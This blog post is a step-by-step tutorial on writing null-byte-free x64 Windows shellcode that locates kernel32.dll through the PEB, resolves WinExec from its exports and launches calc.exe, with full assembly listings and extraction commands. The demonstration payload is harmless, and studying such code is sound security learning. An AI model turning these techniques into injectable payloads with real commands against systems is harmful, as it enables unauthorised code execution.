Shellcode - The incredible calc.exe payload

In this post, obfuscation of shellcodes plays only a minor role. At this point, I aimed to develop a custom shellcode to better understand how it works.

Requirements:

  • Launch calc.exe on a Windows system
  • 64-bit shellcode
  • Avoid null bytes

Preparation

Shellcode? Easier said than done.

At least that’s what I thought. In reality, understanding the underlying mechanics took a considerable amount of time—partially due to my limited experience with x64dbg. Especially live debugging was time-consuming since I wasn’t yet familiar with many useful commands.

Fortunately, there are some helpful websites I used as references.1

Useful Tools

  • Microsoft Visual Studio2
  • x64dbg3
  • PEView4
  • ShenCode5

Helpful Resources

A more recent blog post gave me the idea for this article. The corresponding final shellcode is available on GitHub, and is well documented.

Another post from Red Team Notes was instrumental in building the shellcode structure.

Code: Step-by-Step

The full source code can be found on GitHub.

Steps to launch calc.exe from shellcode:

  1. Locate kernel32.dll base address
  2. Enumerate WinAPI functions in memory
  3. Locate the WinExec function

Variables and Stack

First, allocate memory for variables:

sub rsp, 40h
xor rax, rax
mov [rbp - 08h], rax    ; Number_of_Exported_Functions
mov [rbp - 10h], rax    ; Address_Table
mov [rbp - 18h], rax    ; Name_Ptr_Table
mov [rbp - 20h], rax    ; Ordinal_Table
mov [rbp - 28h], rax    ; Pointer to WinExec string
mov [rbp - 30h], rax    ; Address of WinExec function
mov [rbp - 38h], rax    ; reserved

Push the WinExec\n string onto the stack and store its pointer:

push rax
mov rax, 0x00636578456E6957  ; 0x00 + c,e,x,E,n,i,W
push rax
mov [rbp - 28h], rsp         ; Store string pointer

Locating kernel32.dll Base Address

When a process starts, Windows loads modules into its memory space, including kernel32.dll. These modules can be identified via specific data structures.

To locate kernel32.dll, follow this memory navigation:

  • gs:[0x60] → TEB
  • TEB + 0x18 → PEB
  • PEB + 0x20 → Loader Data
  • Loader Data → InMemoryOrderModuleList (linked list)
  • Third entry (after process and ntdll) → kernel32 base address

ASM:

mov rax, gs:[0x60]
mov rax, [rax + 0x18]
mov rax, [rax + 0x20]
mov rax, [rax]
mov rax, [rax]
mov rax, [rax + 0x20]
mov rbx, rax  ; Save kernel32 base in rbx

WinAPI Address Enumeration

From kernel32 base address, we derive:

  • + 0x3C → PE header offset

  • PE + 0x88 → Export Directory RVA

  • From Export Directory:

    • + 0x14 → Number of Exported Functions
    • + 0x1C → Address Table
    • + 0x20 → Name Pointer Table
    • + 0x24 → Ordinal Table

ASM:

mov eax, [rbx + 0x3c]
add rax, rbx
mov eax, [rax + 0x88]
add rax, rbx
 
mov ecx, [rax + 0x14]
mov [rbp - 8h], rcx
mov ecx, [rax + 0x1c]
add rcx, rbx
mov [rbp - 10h], rcx
mov ecx, [rax + 0x20]
add rcx, rbx
mov [rbp - 18h], rcx
mov ecx, [rax + 0x24]
add rcx, rbx
mov [rbp - 20h], rcx

💡 Tip: Open kernel32.dll in PEView to better understand these offsets.

Locating WinExec

Iteration over Export Table:

xor rax, rax
xor rcx, rcx
			
findWinExecPosition:
	mov rsi, [rbp - 28h]
	mov rdi, [rbp - 18h]
	cld
	mov edi, [rdi + rax * 4]
	add rdi, rbx
	mov cl, 8
	repe cmpsb
	jz WinExecFound
	inc rax
	cmp rax, [rbp - 8h]
	jne findWinExecPosition

If Found:

WinExecFound:
	mov rcx, [rbp - 20h]
	mov rdx, [rbp - 10h]
	mov ax, [rcx + rax * 2]
	mov eax, [rdx + rax * 4]
	add rax, rbx
	jmp short InvokeWinExec

Executing WinExec

Function prototype:

UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);

Calling conventions:

  • RCX: lpCmdLine
  • RDX: uCmdShow
  • Stack alignment: 16-byte aligned
  • Shadow space: 32 bytes reserved

ASM:

InvokeWinExec:
  xor rdx, rdx
  xor rcx, rcx
  push rcx
  mov rcx, 0x6578652e636c6163    ; "calc.exe"
  push rcx
  mov rcx, rsp
  mov dl, 0x1
  and rsp, -16
  sub rsp, 32
  call rax

Null Byte Elimination

Compile:

nasm -f win64 calc-unsanitized.asm -o calc-unsanitized.o

Inspect:

objdump -d calc-unsanitized.o

Removing Null Bytes

WinExec String

mov rax, 0x11636578456E6957
shl rax, 0x08
shr rax, 0x08

GS Register + 0x60

mov al, 60h
mov rax, gs:[rax]

RVA Pointer Offset

mov cl, 88h
mov eax, [rax + rcx]

Final Touches

To extract the clean shellcode:

python shencode.py output -f calc-final.o -s c
python shencode.py extract -f calc-final.o -o calc-final.sc -fb 60 -lb 310
python shencode.py output -f calc-final.sc -s c

Final shellcode ready for injection.

Repository

git clone https://github.com/psycore8/nosoc-shellcode

References

Footnotes

  1. https://help.x64dbg.com/en/latest/commands/index.html

  2. https://visualstudio.microsoft.com/de/downloads/

  3. https://x64dbg.com/

  4. http://wjradburn.com/software/

  5. https://github.com/psycore8/shencode